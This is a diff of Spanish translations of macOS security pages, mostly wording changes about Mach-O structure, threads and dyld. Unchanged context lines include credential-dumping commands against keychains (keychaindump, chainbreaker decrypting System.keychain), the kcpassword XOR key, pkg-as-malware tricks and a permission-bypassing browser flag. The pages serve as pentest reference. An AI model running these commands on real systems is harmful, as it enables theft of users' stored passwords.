@ -104,7 +104,7 @@ Algunos extractores no funcionarán ya que las dylibs están preenlazadas con di
|
||||
|
||||
### Mapeo de SLC
|
||||
|
||||
**`dyld`** utiliza la syscall **`shared_region_check_np`** para saber si el SLC ha sido mapeado (lo que devuelve la dirección) y **`shared_region_map_and_slide_np`** para mapear el SLC.
|
||||
**`dyld`** utiliza la llamada al sistema **`shared_region_check_np`** para saber si el SLC ha sido mapeado (lo que devuelve la dirección) y **`shared_region_map_and_slide_np`** para mapear el SLC.
|
||||
|
||||
Ten en cuenta que incluso si el SLC se desliza en el primer uso, todos los **procesos** utilizan la **misma copia**, lo que **elimina la protección ASLR** si el atacante pudo ejecutar procesos en el sistema. Esto fue explotado en el pasado y se solucionó con el paginador de región compartida.
|
||||
|
||||
@ -121,7 +121,7 @@ Usando las variables de entorno:
|
||||
|
||||
### Permisos de Carpeta
|
||||
|
||||
En una **carpeta**, **leer** permite **listar** su contenido, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **traversar** el directorio. Así que, por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde **no tiene permiso de ejecución** **no podrá leer** el archivo.
|
||||
En una **carpeta**, **leer** permite **listar** su contenido, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **traversar** el directorio. Por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde **no tiene permiso de ejecución** **no podrá leer** el archivo.
|
||||
|
||||
### Modificadores de Bandera
|
||||
|
||||
@ -196,7 +196,7 @@ Los atributos extendidos tienen un nombre y cualquier valor deseado, y se pueden
|
||||
|
||||
### Recursos Forks | macOS ADS
|
||||
|
||||
Esta es una forma de obtener **Flujos de Datos Alternativos en MacOS**. Puedes guardar contenido dentro de un atributo extendido llamado **com.apple.ResourceFork** dentro de un archivo guardándolo en **file/..namedfork/rsrc**.
|
||||
Esta es una forma de obtener **Flujos de Datos Alternativos en máquinas MacOS**. Puedes guardar contenido dentro de un atributo extendido llamado **com.apple.ResourceFork** dentro de un archivo guardándolo en **file/..namedfork/rsrc**.
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
|
||||
@ -61,7 +61,7 @@ Si un script de pre o post instalación está, por ejemplo, ejecutándose desde
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
Esta es una [función pública](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) que varios instaladores y actualizadores llamarán para **ejecutar algo como root**. Esta función acepta la **ruta** del **archivo** a **ejecutar** como parámetro, sin embargo, si un atacante pudiera **modificar** este archivo, podrá **abusar** de su ejecución con root para **escalar privilegios**.
|
||||
Esta es una [función pública](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) que varios instaladores y actualizadores llamarán para **ejecutar algo como root**. Esta función acepta la **ruta** del **archivo** a **ejecutar** como parámetro; sin embargo, si un atacante pudiera **modificar** este archivo, podría **abusar** de su ejecución con root para **escalar privilegios**.
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
@ -77,13 +77,13 @@ Un ejemplo de esto es **CVE-2021-26089** que logró **sobrescribir un script per
|
||||
|
||||
## pkg como malware
|
||||
|
||||
### Carga útil vacía
|
||||
### Payload vacío
|
||||
|
||||
Es posible generar un **`.pkg`** solo con **scripts de pre y post-instalación** sin ninguna carga útil real aparte del malware dentro de los scripts.
|
||||
Es posible generar un **`.pkg`** archivo con **scripts de pre y post-instalación** sin ningún payload real aparte del malware dentro de los scripts.
|
||||
|
||||
### JS en xml de distribución
|
||||
|
||||
Es posible agregar etiquetas **`<script>`** en el archivo **xml de distribución** del paquete y ese código se ejecutará y puede **ejecutar comandos** usando **`system.run`**:
|
||||
Es posible agregar **`<script>`** etiquetas en el **archivo xml de distribución** del paquete y ese código se ejecutará y puede **ejecutar comandos** usando **`system.run`**:
|
||||
|
||||
<figure><img src="../../../images/image (1043).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Los archivos de intercambio, como `/private/var/vm/swapfile0`, sirven como **cac
|
||||
|
||||
### Hibernate Image
|
||||
|
||||
El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante el **modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando OS X hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, permitiendo al usuario continuar donde lo dejó.
|
||||
El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante **el modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando OS X hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, permitiendo al usuario continuar donde lo dejó.
|
||||
|
||||
Vale la pena señalar que en los sistemas MacOS modernos, este archivo está típicamente cifrado por razones de seguridad, lo que dificulta la recuperación.
|
||||
|
||||
|
||||
@ -43,11 +43,11 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
||||
|
||||
Una herramienta llamada **keychaindump** ha sido desarrollada para extraer contraseñas de los llaveros de macOS, pero enfrenta limitaciones en versiones más nuevas de macOS como Big Sur, como se indica en una [discusión](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). El uso de **keychaindump** requiere que el atacante obtenga acceso y escale privilegios a **root**. La herramienta explota el hecho de que el llavero está desbloqueado por defecto al iniciar sesión del usuario por conveniencia, permitiendo que las aplicaciones accedan a él sin requerir repetidamente la contraseña del usuario. Sin embargo, si un usuario opta por bloquear su llavero después de cada uso, **keychaindump** se vuelve ineficaz.
|
||||
|
||||
**Keychaindump** opera apuntando a un proceso específico llamado **securityd**, descrito por Apple como un demonio para operaciones de autorización y criptografía, crucial para acceder al llavero. El proceso de extracción implica identificar una **Clave Maestra** derivada de la contraseña de inicio de sesión del usuario. Esta clave es esencial para leer el archivo del llavero. Para localizar la **Clave Maestra**, **keychaindump** escanea el montón de memoria de **securityd** utilizando el comando `vmmap`, buscando posibles claves dentro de áreas marcadas como `MALLOC_TINY`. El siguiente comando se utiliza para inspeccionar estas ubicaciones de memoria:
|
||||
**Keychaindump** opera apuntando a un proceso específico llamado **securityd**, descrito por Apple como un demonio para operaciones de autorización y criptografía, crucial para acceder al llavero. El proceso de extracción implica identificar una **Master Key** derivada de la contraseña de inicio de sesión del usuario. Esta clave es esencial para leer el archivo del llavero. Para localizar la **Master Key**, **keychaindump** escanea el heap de memoria de **securityd** utilizando el comando `vmmap`, buscando posibles claves dentro de áreas marcadas como `MALLOC_TINY`. El siguiente comando se utiliza para inspeccionar estas ubicaciones de memoria:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
Después de identificar posibles claves maestras, **keychaindump** busca a través de los montones un patrón específico (`0x0000000000000018`) que indica un candidato para la clave maestra. Se requieren pasos adicionales, incluida la deofuscación, para utilizar esta clave, como se detalla en el código fuente de **keychaindump**. Los analistas que se centran en esta área deben tener en cuenta que los datos cruciales para descifrar el llavero se almacenan dentro de la memoria del proceso **securityd**. Un comando de ejemplo para ejecutar **keychaindump** es:
|
||||
Después de identificar posibles claves maestras, **keychaindump** busca a través de los montones un patrón específico (`0x0000000000000018`) que indica un candidato para la clave maestra. Se requieren pasos adicionales, incluida la desofuscación, para utilizar esta clave, como se detalla en el código fuente de **keychaindump**. Los analistas que se centran en esta área deben tener en cuenta que los datos cruciales para descifrar el llavero se almacenan dentro de la memoria del proceso **securityd**. Un comando de ejemplo para ejecutar **keychaindump** es:
|
||||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
@ -90,7 +90,7 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
|
||||
# Use the key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Volcar claves del llavero (con contraseñas) con volcado de memoria**
|
||||
#### **Volcar claves del llavero (con contraseñas) con un volcado de memoria**
|
||||
|
||||
[Sigue estos pasos](../#dumping-memory-with-osxpmem) para realizar un **volcado de memoria**
|
||||
```bash
|
||||
@ -110,10 +110,10 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library
|
||||
```
|
||||
### kcpassword
|
||||
|
||||
El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **activado el inicio de sesión automático**. Por lo tanto, el usuario se iniciará sesión automáticamente sin que se le pida una contraseña (lo cual no es muy seguro).
|
||||
El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **activado el inicio de sesión automático**. Por lo tanto, el usuario iniciará sesión automáticamente sin que se le pida una contraseña (lo cual no es muy seguro).
|
||||
|
||||
La contraseña se almacena en el archivo **`/etc/kcpassword`** xored con la clave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si la contraseña del usuario es más larga que la clave, la clave se reutilizará.\
|
||||
Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, usando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d).
|
||||
Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, utilizando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d).
|
||||
|
||||
## Información Interesante en Bases de Datos
|
||||
|
||||
@ -217,7 +217,7 @@ El **Distributed Notification Center** cuyo binario principal es **`/usr/sbin/di
|
||||
|
||||
### Apple Push Notifications (APN)
|
||||
|
||||
En este caso, las aplicaciones pueden registrarse para **temas**. El cliente generará un token contactando a los servidores de Apple a través de **`apsd`**.\
|
||||
En este caso, las aplicaciones pueden registrarse para **temas**. El cliente generará un token contactando los servidores de Apple a través de **`apsd`**.\
|
||||
Luego, los proveedores también habrán generado un token y podrán conectarse a los servidores de Apple para enviar mensajes a los clientes. Estos mensajes serán recibidos localmente por **`apsd`** que retransmitirá la notificación a la aplicación que la espera.
|
||||
|
||||
Las preferencias se encuentran en `/Library/Preferences/com.apple.apsd.plist`.
|
||||
|
||||
@ -106,10 +106,10 @@ Hay diferentes tipos de archivos, puedes encontrarlos definidos en el [**código
|
||||
- `MH_OBJECT`: Archivo objeto relocatable (productos intermedios de la compilación, aún no ejecutables).
|
||||
- `MH_EXECUTE`: Archivos ejecutables.
|
||||
- `MH_FVMLIB`: Archivo de biblioteca VM fija.
|
||||
- `MH_CORE`: Volcados de código
|
||||
- `MH_PRELOAD`: Archivo ejecutable pre-cargado (ya no soportado en XNU)
|
||||
- `MH_DYLIB`: Bibliotecas dinámicas
|
||||
- `MH_DYLINKER`: Vínculo dinámico
|
||||
- `MH_CORE`: Volcados de código.
|
||||
- `MH_PRELOAD`: Archivo ejecutable pre-cargado (ya no soportado en XNU).
|
||||
- `MH_DYLIB`: Bibliotecas dinámicas.
|
||||
- `MH_DYLINKER`: Enlazador dinámico.
|
||||
- `MH_BUNDLE`: "Archivos de plugin". Generados usando -bundle en gcc y cargados explícitamente por `NSBundle` o `dlopen`.
|
||||
- `MH_DYSM`: Archivo compañero `.dSym` (archivo con símbolos para depuración).
|
||||
- `MH_KEXT_BUNDLE`: Extensiones del núcleo.
|
||||
@ -133,7 +133,7 @@ El código fuente también define varios flags útiles para cargar bibliotecas:
|
||||
- `MH_PREBOUND`: Referencias dinámicas preenlazadas.
|
||||
- `MH_SPLIT_SEGS`: El archivo divide segmentos r/o y r/w.
|
||||
- `MH_WEAK_DEFINES`: El binario tiene símbolos definidos débiles
|
||||
- `MH_BINDS_TO_WEAK`: El binario utiliza símbolos débiles
|
||||
- `MH_BINDS_TO_WEAK`: El binario usa símbolos débiles
|
||||
- `MH_ALLOW_STACK_EXECUTION`: Hacer que la pila sea ejecutable
|
||||
- `MH_NO_REEXPORTED_DYLIBS`: Biblioteca no tiene comandos LC_REEXPORT
|
||||
- `MH_PIE`: Ejecutable Independiente de Posición
|
||||
@ -171,16 +171,16 @@ En el encabezado primero encuentras el **encabezado del segmento**:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* for 64-bit architectures */
|
||||
uint32_t cmd; /* LC_SEGMENT_64 */
|
||||
uint32_t cmdsize; /* includes sizeof section_64 structs */
|
||||
char segname[16]; /* segment name */
|
||||
uint64_t vmaddr; /* memory address of this segment */
|
||||
uint64_t vmsize; /* memory size of this segment */
|
||||
uint64_t fileoff; /* file offset of this segment */
|
||||
uint64_t filesize; /* amount to map from the file */
|
||||
int32_t maxprot; /* maximum VM protection */
|
||||
int32_t initprot; /* initial VM protection */
|
||||
<strong> uint32_t nsects; /* number of sections in segment */
|
||||
</strong> uint32_t flags; /* flags */
|
||||
uint32_t cmdsize; /* incluye sizeof section_64 structs */
|
||||
char segname[16]; /* nombre del segmento */
|
||||
uint64_t vmaddr; /* dirección de memoria de este segmento */
|
||||
uint64_t vmsize; /* tamaño de memoria de este segmento */
|
||||
uint64_t fileoff; /* desplazamiento de archivo de este segmento */
|
||||
uint64_t filesize; /* cantidad a mapear desde el archivo */
|
||||
int32_t maxprot; /* protección máxima de VM */
|
||||
int32_t initprot; /* protección inicial de VM */
|
||||
<strong> uint32_t nsects; /* número de secciones en el segmento */
|
||||
</strong> uint32_t flags; /* banderas */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
@ -219,13 +219,13 @@ otool -lv /bin/ls
|
||||
```
|
||||
Segmentos comunes cargados por este cmd:
|
||||
|
||||
- **`__PAGEZERO`:** Instruye al kernel para **mapear** la **dirección cero** de modo que **no se pueda leer, escribir o ejecutar**. Las variables maxprot y minprot en la estructura se establecen en cero para indicar que **no hay derechos de lectura-escritura-ejecución en esta página**.
|
||||
- **`__PAGEZERO`:** Instruye al kernel a **mapear** la **dirección cero** para que **no pueda ser leída, escrita o ejecutada**. Las variables maxprot y minprot en la estructura se establecen en cero para indicar que **no hay derechos de lectura-escritura-ejecución en esta página**.
|
||||
- Esta asignación es importante para **mitigar vulnerabilidades de desreferencia de punteros NULL**. Esto se debe a que XNU impone una página cero dura que asegura que la primera página (solo la primera) de la memoria sea inaccesible (excepto en i386). Un binario podría cumplir con estos requisitos creando un pequeño \_\_PAGEZERO (usando `-pagezero_size`) para cubrir los primeros 4k y teniendo el resto de la memoria de 32 bits accesible tanto en modo usuario como en modo kernel.
|
||||
- **`__TEXT`**: Contiene **código** **ejecutable** con permisos de **lectura** y **ejecución** (no escribible)**.** Secciones comunes de este segmento:
|
||||
- `__text`: Código binario compilado
|
||||
- `__const`: Datos constantes (solo lectura)
|
||||
- `__[c/u/os_log]string`: Constantes de cadenas C, Unicode o os logs
|
||||
- `__stubs` y `__stubs_helper`: Involucrados durante el proceso de carga de bibliotecas dinámicas
|
||||
- `__stubs` y `__stubs_helper`: Involucrados durante el proceso de carga de la biblioteca dinámica
|
||||
- `__unwind_info`: Datos de deshacer la pila.
|
||||
- Tenga en cuenta que todo este contenido está firmado pero también marcado como ejecutable (creando más opciones para la explotación de secciones que no necesariamente necesitan este privilegio, como secciones dedicadas a cadenas).
|
||||
- **`__DATA`**: Contiene datos que son **legibles** y **escribibles** (no ejecutables)**.**
|
||||
@ -237,7 +237,7 @@ Segmentos comunes cargados por este cmd:
|
||||
- `__data`: Variables globales (que han sido inicializadas)
|
||||
- `__bss`: Variables estáticas (que no han sido inicializadas)
|
||||
- `__objc_*` (\_\_objc_classlist, \_\_objc_protolist, etc): Información utilizada por el tiempo de ejecución de Objective-C
|
||||
- **`__DATA_CONST`**: \_\_DATA.\_\_const no está garantizado que sea constante (permisos de escritura), ni lo son otros punteros y la GOT. Esta sección hace que `__const`, algunos inicializadores y la tabla GOT (una vez resuelta) sean **solo lectura** usando `mprotect`.
|
||||
- **`__DATA_CONST`**: \_\_DATA.\_\_const no está garantizado que sea constante (permisos de escritura), ni lo están otros punteros y la GOT. Esta sección hace que `__const`, algunos inicializadores y la tabla GOT (una vez resuelta) sean **solo lectura** usando `mprotect`.
|
||||
- **`__LINKEDIT`**: Contiene información para el enlazador (dyld) como, símbolos, cadenas y entradas de tabla de reubicación. Es un contenedor genérico para contenidos que no están en `__TEXT` o `__DATA` y su contenido se describe en otros comandos de carga.
|
||||
- Información de dyld: Rebase, opcodes de vinculación no perezosa/perezosa/débil e información de exportación
|
||||
- Comienzos de funciones: Tabla de direcciones de inicio de funciones
|
||||
@ -254,7 +254,7 @@ Como se pudo ver en el código, **los segmentos también admiten flags** (aunque
|
||||
- `SG_HIGHVM`: Solo núcleo (no utilizado)
|
||||
- `SG_FVMLIB`: No utilizado
|
||||
- `SG_NORELOC`: El segmento no tiene reubicación
|
||||
- `SG_PROTECTED_VERSION_1`: Cifrado. Utilizado, por ejemplo, por Finder para cifrar el segmento de texto `__TEXT`.
|
||||
- `SG_PROTECTED_VERSION_1`: Cifrado. Usado, por ejemplo, por Finder para cifrar el segmento de texto `__TEXT`.
|
||||
|
||||
### **`LC_UNIXTHREAD/LC_MAIN`**
|
||||
|
||||
@ -286,8 +286,8 @@ cpsr 0x00000000
|
||||
```
|
||||
### **`LC_CODE_SIGNATURE`**
|
||||
|
||||
Contiene información sobre la **firma de código del archivo Macho-O**. Solo contiene un **offset** que **apunta** al **blob de firma**. Esto suele estar al final del archivo.\
|
||||
Sin embargo, puedes encontrar información sobre esta sección en [**esta publicación de blog**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) y en este [**gist**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
Contiene información sobre la **firma de código del archivo Macho-O**. Solo contiene un **desplazamiento** que **apunta** al **blob de firma**. Esto suele estar al final del archivo.\
|
||||
Sin embargo, puedes encontrar algo de información sobre esta sección en [**esta publicación de blog**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) y en este [**gist**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
|
||||
### **`LC_ENCRYPTION_INFO[_64]`**
|
||||
|
||||
@ -299,7 +299,21 @@ Contiene la **ruta al ejecutable del enlazador dinámico** que mapea bibliotecas
|
||||
|
||||
### **`LC_IDENT`**
|
||||
|
||||
Obsoleto, pero cuando se configura para generar volcado en caso de pánico, se crea un volcado de núcleo Mach-O y la versión del kernel se establece en el comando `LC_IDENT
|
||||
Obsoleto, pero cuando se configura para generar volcado en caso de pánico, se crea un volcado de núcleo Mach-O y la versión del kernel se establece en el comando `LC_IDENT`.
|
||||
|
||||
### **`LC_UUID`**
|
||||
|
||||
UUID aleatorio. Es útil para cualquier cosa directamente, pero XNU lo almacena en caché con el resto de la información del proceso. Puede ser utilizado en informes de fallos.
|
||||
|
||||
### **`LC_DYLD_ENVIRONMENT`**
|
||||
|
||||
Permite indicar variables de entorno al dyld antes de que se ejecute el proceso. Esto puede ser muy peligroso, ya que puede permitir ejecutar código arbitrario dentro del proceso, por lo que este comando de carga solo se utiliza en dyld construido con `#define SUPPORT_LC_DYLD_ENVIRONMENT` y restringe aún más el procesamiento solo a variables de la forma `DYLD_..._PATH` especificando rutas de carga.
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
Este comando de carga describe una dependencia de **biblioteca** **dinámica** que **instruye** al **cargador** (dyld) a **cargar y vincular dicha biblioteca**. Hay un comando de carga `LC_LOAD_DYLIB` **para cada biblioteca** que el binario Mach-O requiere.
|
||||
|
||||
- Este comando de carga es una estructura de tipo **`dylib_command`** (que contiene una estructura dylib, describiendo la biblioteca dinámica dependiente real):
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
@ -316,7 +330,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
|
||||
```
|
||||
.png>)
|
||||
|
||||
También puedes obtener esta información desde la línea de comandos con:
|
||||
También podrías obtener esta información desde la línea de comandos con:
|
||||
```bash
|
||||
otool -L /bin/ls
|
||||
/bin/ls:
|
||||
@ -368,10 +382,10 @@ En el segmento `__TEXT` (r-x):
|
||||
En el segmento `__DATA` (rw-):
|
||||
|
||||
- `__objc_classlist`: Punteros a todas las clases de Objetive-C
|
||||
- `__objc_nlclslist`: Punteros a clases de Objective-C No Perezosas
|
||||
- `__objc_nlclslist`: Punteros a clases de Objetive-C No Perezosas
|
||||
- `__objc_catlist`: Puntero a Categorías
|
||||
- `__objc_nlcatlist`: Puntero a Categorías No Perezosas
|
||||
- `__objc_protolist`: Lista de Protocolos
|
||||
- `__objc_protolist`: Lista de protocolos
|
||||
- `__objc_const`: Datos constantes
|
||||
- `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
|
||||
|
||||
|
||||
@ -58,19 +58,19 @@ char persona_name[MAXLOGNAME + 1];
|
||||
```
|
||||
## Información Básica sobre Hilos
|
||||
|
||||
1. **Hilos POSIX (pthreads):** macOS soporta hilos POSIX (`pthreads`), que son parte de una API estándar de hilos para C/C++. La implementación de pthreads en macOS se encuentra en `/usr/lib/system/libsystem_pthread.dylib`, que proviene del proyecto `libpthread` disponible públicamente. Esta biblioteca proporciona las funciones necesarias para crear y gestionar hilos.
|
||||
2. **Creación de Hilos:** La función `pthread_create()` se utiliza para crear nuevos hilos. Internamente, esta función llama a `bsdthread_create()`, que es una llamada al sistema de nivel inferior específica del núcleo XNU (el núcleo en el que se basa macOS). Esta llamada al sistema toma varios flags derivados de `pthread_attr` (atributos) que especifican el comportamiento del hilo, incluyendo políticas de programación y tamaño de pila.
|
||||
- **Tamaño de Pila por Defecto:** El tamaño de pila por defecto para nuevos hilos es de 512 KB, lo cual es suficiente para operaciones típicas, pero puede ajustarse a través de atributos de hilo si se necesita más o menos espacio.
|
||||
3. **Inicialización de Hilos:** La función `__pthread_init()` es crucial durante la configuración del hilo, utilizando el argumento `env[]` para analizar variables de entorno que pueden incluir detalles sobre la ubicación y tamaño de la pila.
|
||||
1. **Hilos POSIX (pthreads):** macOS soporta hilos POSIX (`pthreads`), que son parte de una API de subprocesos estándar para C/C++. La implementación de pthreads en macOS se encuentra en `/usr/lib/system/libsystem_pthread.dylib`, que proviene del proyecto `libpthread` disponible públicamente. Esta biblioteca proporciona las funciones necesarias para crear y gestionar hilos.
|
||||
2. **Creación de Hilos:** La función `pthread_create()` se utiliza para crear nuevos hilos. Internamente, esta función llama a `bsdthread_create()`, que es una llamada al sistema de nivel inferior específica del núcleo XNU (el núcleo en el que se basa macOS). Esta llamada al sistema toma varias banderas derivadas de `pthread_attr` (atributos) que especifican el comportamiento del hilo, incluidas las políticas de programación y el tamaño de la pila.
|
||||
- **Tamaño de Pila por Defecto:** El tamaño de pila por defecto para nuevos hilos es de 512 KB, lo cual es suficiente para operaciones típicas, pero se puede ajustar a través de los atributos del hilo si se necesita más o menos espacio.
|
||||
3. **Inicialización de Hilos:** La función `__pthread_init()` es crucial durante la configuración del hilo, utilizando el argumento `env[]` para analizar las variables de entorno que pueden incluir detalles sobre la ubicación y el tamaño de la pila.
|
||||
|
||||
#### Terminación de Hilos en macOS
|
||||
|
||||
1. **Salida de Hilos:** Los hilos se terminan típicamente llamando a `pthread_exit()`. Esta función permite que un hilo salga de manera limpia, realizando la limpieza necesaria y permitiendo que el hilo envíe un valor de retorno a cualquier hilo que lo haya unido.
|
||||
1. **Salida de Hilos:** Los hilos se terminan típicamente llamando a `pthread_exit()`. Esta función permite que un hilo salga de manera limpia, realizando la limpieza necesaria y permitiendo que el hilo envíe un valor de retorno a cualquier unidor.
|
||||
2. **Limpieza de Hilos:** Al llamar a `pthread_exit()`, se invoca la función `pthread_terminate()`, que maneja la eliminación de todas las estructuras de hilo asociadas. Desasigna puertos de hilo Mach (Mach es el subsistema de comunicación en el núcleo XNU) y llama a `bsdthread_terminate`, una syscall que elimina las estructuras a nivel de núcleo asociadas con el hilo.
|
||||
|
||||
#### Mecanismos de Sincronización
|
||||
|
||||
Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera, macOS proporciona varias primitivas de sincronización. Estas son críticas en entornos de múltiples hilos para asegurar la integridad de los datos y la estabilidad del sistema:
|
||||
Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera, macOS proporciona varias primitivas de sincronización. Estas son críticas en entornos de múltiples hilos para garantizar la integridad de los datos y la estabilidad del sistema:
|
||||
|
||||
1. **Mutexes:**
|
||||
- **Mutex Regular (Firma: 0x4D555458):** Mutex estándar con una huella de memoria de 60 bytes (56 bytes para el mutex y 4 bytes para la firma).
|
||||
@ -92,7 +92,7 @@ Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera,
|
||||
|
||||
**Variables Locales de Hilo (TLV)** en el contexto de archivos Mach-O (el formato para ejecutables en macOS) se utilizan para declarar variables que son específicas de **cada hilo** en una aplicación multihilo. Esto asegura que cada hilo tenga su propia instancia separada de una variable, proporcionando una forma de evitar conflictos y mantener la integridad de los datos sin necesidad de mecanismos de sincronización explícitos como mutexes.
|
||||
|
||||
En C y lenguajes relacionados, puedes declarar una variable local de hilo utilizando la palabra clave **`__thread`**. Aquí te mostramos cómo funciona en tu ejemplo:
|
||||
En C y lenguajes relacionados, puedes declarar una variable local de hilo utilizando la **`__thread`** palabra clave. Aquí está cómo funciona en tu ejemplo:
|
||||
```c
|
||||
cCopy code__thread int tlv_var;
|
||||
|
||||
@ -100,7 +100,7 @@ void main (int argc, char **argv){
|
||||
tlv_var = 10;
|
||||
}
|
||||
```
|
||||
Este fragmento define `tlv_var` como una variable local de hilo. Cada hilo que ejecute este código tendrá su propio `tlv_var`, y los cambios que un hilo haga en `tlv_var` no afectarán a `tlv_var` en otro hilo.
|
||||
Este fragmento define `tlv_var` como una variable local de hilo. Cada hilo que ejecuta este código tendrá su propio `tlv_var`, y los cambios que un hilo haga a `tlv_var` no afectarán a `tlv_var` en otro hilo.
|
||||
|
||||
En el binario Mach-O, los datos relacionados con las variables locales de hilo están organizados en secciones específicas:
|
||||
|
||||
@ -129,9 +129,9 @@ Las clases de QoS son un enfoque más moderno para manejar las prioridades de hi
|
||||
1. **Interacción del Usuario:**
|
||||
- Esta clase es para tareas que están interactuando actualmente con el usuario o requieren resultados inmediatos para proporcionar una buena experiencia de usuario. Estas tareas reciben la prioridad más alta para mantener la interfaz receptiva (por ejemplo, animaciones o manejo de eventos).
|
||||
2. **Iniciadas por el Usuario:**
|
||||
- Tareas que el usuario inicia y espera resultados inmediatos, como abrir un documento o hacer clic en un botón que requiere cálculos. Estas tienen alta prioridad pero por debajo de la interacción del usuario.
|
||||
- Tareas que el usuario inicia y espera resultados inmediatos, como abrir un documento o hacer clic en un botón que requiere cálculos. Estas son de alta prioridad pero por debajo de la interacción del usuario.
|
||||
3. **Utilidad:**
|
||||
- Estas tareas son de larga duración y típicamente muestran un indicador de progreso (por ejemplo, descargar archivos, importar datos). Tienen menor prioridad que las tareas iniciadas por el usuario y no necesitan finalizar de inmediato.
|
||||
- Estas tareas son de larga duración y típicamente muestran un indicador de progreso (por ejemplo, descargar archivos, importar datos). Tienen una prioridad más baja que las tareas iniciadas por el usuario y no necesitan finalizar de inmediato.
|
||||
4. **Fondo:**
|
||||
- Esta clase es para tareas que operan en segundo plano y no son visibles para el usuario. Estas pueden ser tareas como indexación, sincronización o copias de seguridad. Tienen la prioridad más baja y un impacto mínimo en el rendimiento del sistema.
|
||||
|
||||
@ -233,7 +233,7 @@ Otras variables de entorno como **`PYTHONPATH`** y **`PYTHONHOME`** también pod
|
||||
Ten en cuenta que los ejecutables compilados con **`pyinstaller`** no usarán estas variables ambientales incluso si se están ejecutando usando un Python embebido.
|
||||
|
||||
> [!CAUTION]
|
||||
> En general, no pude encontrar una manera de hacer que Python ejecute código arbitrario abusando de variables de entorno.\
|
||||
> En general, no pude encontrar una manera de hacer que Python ejecute código arbitrario abusando de las variables de entorno.\
|
||||
> Sin embargo, la mayoría de las personas instalan Python usando **Homebrew**, que instalará Python en una **ubicación escribible** para el usuario administrador predeterminado. Puedes secuestrarlo con algo como:
|
||||
>
|
||||
> ```bash
|
||||
|
||||
@ -12,7 +12,7 @@ La bandera `--load-extension` se utiliza al iniciar un navegador basado en Chrom
|
||||
|
||||
#### Bandera `--use-fake-ui-for-media-stream`
|
||||
|
||||
La bandera `--use-fake-ui-for-media-stream` es otra opción de línea de comandos que se puede usar para iniciar navegadores basados en Chromium. Esta bandera está diseñada para **eludir los mensajes de usuario normales que piden permiso para acceder a los flujos de medios de la cámara y el micrófono**. Cuando se utiliza esta bandera, el navegador otorga automáticamente permiso a cualquier sitio web o aplicación que solicite acceso a la cámara o al micrófono.
|
||||
La bandera `--use-fake-ui-for-media-stream` es otra opción de línea de comandos que se puede utilizar para iniciar navegadores basados en Chromium. Esta bandera está diseñada para **eludir los mensajes de usuario normales que piden permiso para acceder a los flujos de medios de la cámara y el micrófono**. Cuando se utiliza esta bandera, el navegador otorga automáticamente permiso a cualquier sitio web o aplicación que solicite acceso a la cámara o al micrófono.
|
||||
|
||||
### Herramientas
|
||||
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Para más detalles sobre la técnica, consulta la publicación original de:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) y la siguiente publicación de [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** Aquí hay un resumen:
|
||||
